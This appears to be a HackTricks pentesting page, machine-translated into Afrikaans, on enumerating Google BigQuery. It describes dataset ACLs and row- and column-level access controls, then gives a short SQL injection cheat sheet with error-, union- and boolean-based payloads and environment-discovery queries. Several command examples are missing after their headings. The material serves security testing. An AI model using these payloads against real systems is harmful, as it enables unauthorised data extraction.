GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery is a volledig bestuurde, serverlose ondernemingsdata-warehouse, wat vermoëns bied vir analise oor petabytes van data, en hanteer groot skaal datasets doeltreffend. As 'n Platform as a Service (PaaS), bied dit gebruikers infrastruktuur en gereedskap om data bestuur te fasiliteer sonder die behoefte aan handmatige toesig.
Dit ondersteun navraag met behulp van ANSI SQL. Die hoofobjekte is datasets wat tafels bevat wat SQL data bevat.
Standaard word 'n Google-beheerde versleuteling sleutel gebruik alhoewel dit moontlik is om 'n Kliënt-beheerde versleuteling sleutel (CMEK) te konfigureer. Dit is moontlik om die versleuteling sleutel per dataset en per tafel binne 'n dataset aan te dui.
Dit is moontlik om 'n verval tyd in die dataset aan te dui sodat enige nuwe tafel wat in hierdie dataset geskep word, automaties verwyder sal word na die gespesifiseerde aantal dae na skepping.
Bigquery is diep geïntegreer met ander Google dienste. Dit is moontlik om data van emmers, pub/sub, google drive, RDS databasisse te laai...
Wanneer 'n dataset geskep word, word ACLs aangeheg om toegang daartoe te gee. Standaard word Eienaar regte gegee aan die gebruiker wat die dataset geskep het en dan Eienaar aan die groep projectOwners (Eienaars van die projek), Skrywer aan die groep projectWriters, en Leser aan die groep projectReaders:
Dit is moontlik om die rye wat 'n prinsiep toegang gaan hê tot binne 'n tabel te beheer met rye toegangbeleide. Hierdie word binne die tabel gedefinieer met DDL. Die toegangbeleid definieer 'n filter en slegs die ooreenstemmende rye met daardie filter gaan toeganklik wees vir die aangeduide prinsipes.
Om data-toegang op kolomvlak te beperk:
Definieer 'n taksonomie en beleidsmerke. Skep en bestuur 'n taksonomie en beleidsmerke vir jou data. https://console.cloud.google.com/bigquery/policy-tags
Opsioneel: Ken die Data Catalog Fine-Grained Reader rol aan een of meer beginsels toe op een of meer van die beleidsmerke wat jy geskep het.
Ken beleidsmerke aan jou BigQuery kolomme toe. In BigQuery, gebruik skema-annotasies om 'n beleidsmerk aan elke kolom toe te ken waar jy toegang wil beperk.
Handhaaf toegangsbeheer op die taksonomie. Die handhawing van toegangsbeheer veroorsaak dat die toegangbeperkings wat vir al die beleidsmerke in die taksonomie gedefinieer is, toegepas word.
Bestuur toegang op die beleidsmerke. Gebruik Identity and Access Management (IAM) beleide om toegang tot elke beleidsmerk te beperk. Die beleid is van toepassing op elke kolom wat aan die beleidsmerk behoort.
Wanneer 'n gebruiker probeer om kolomdata tydens 'n navraag te bekom, kontroleer BigQuery die kolom beleidsmerk en sy beleid om te sien of die gebruiker gemagtig is om toegang tot die data te hê.
As opsomming, om die toegang tot sommige kolomme vir sommige gebruikers te beperk, kan jy 'n merk aan die kolom in die skema voeg en die toegang van die gebruikers tot die merk beperk deur toegangsbeheer op die taksonomie van die merk af te dwing.
Om toegangsbeheer op die taksonomie af te dwing, is dit nodig om die diens in te skakel:
Dit is moontlik om die etikette van kolomme te sien met:
Vir verdere inligting kan jy die blogpos nagaan: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier sal net 'n paar besonderhede gegee word.
Kommentaar:
select 1#from hier af werk dit nie
select 1/*tussen daardie werk dit nie*/
Maar net die aanvanklike een sal nie werk nie
select 1--van hier af werk dit nie
Kry inligting oor die omgewing soos:
Huidige gebruiker: select session_user()
Projek id: select @@project_id
Concat rye:
Alle tabelname: string_agg(table_name, ', ')
Kry datasets, tabelle en kolom name:
Projek en dataset naam:
Kolom en tafel name van alle die tafels van die datastel:
Ander datastelle in dieselfde projek:
SQL Injection tipes:
Fout-gebaseer - casting: select CAST(@@project_id AS INT64)
Fout-gebaseer - deling deur nul: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Unie-gebaseer (jy moet ALL in bigquery gebruik): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Boolean-gebaseer: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potensiële tyd-gebaseer - Gebruik van openbare datasets voorbeeld: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentasie:
Scripting verklarings: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)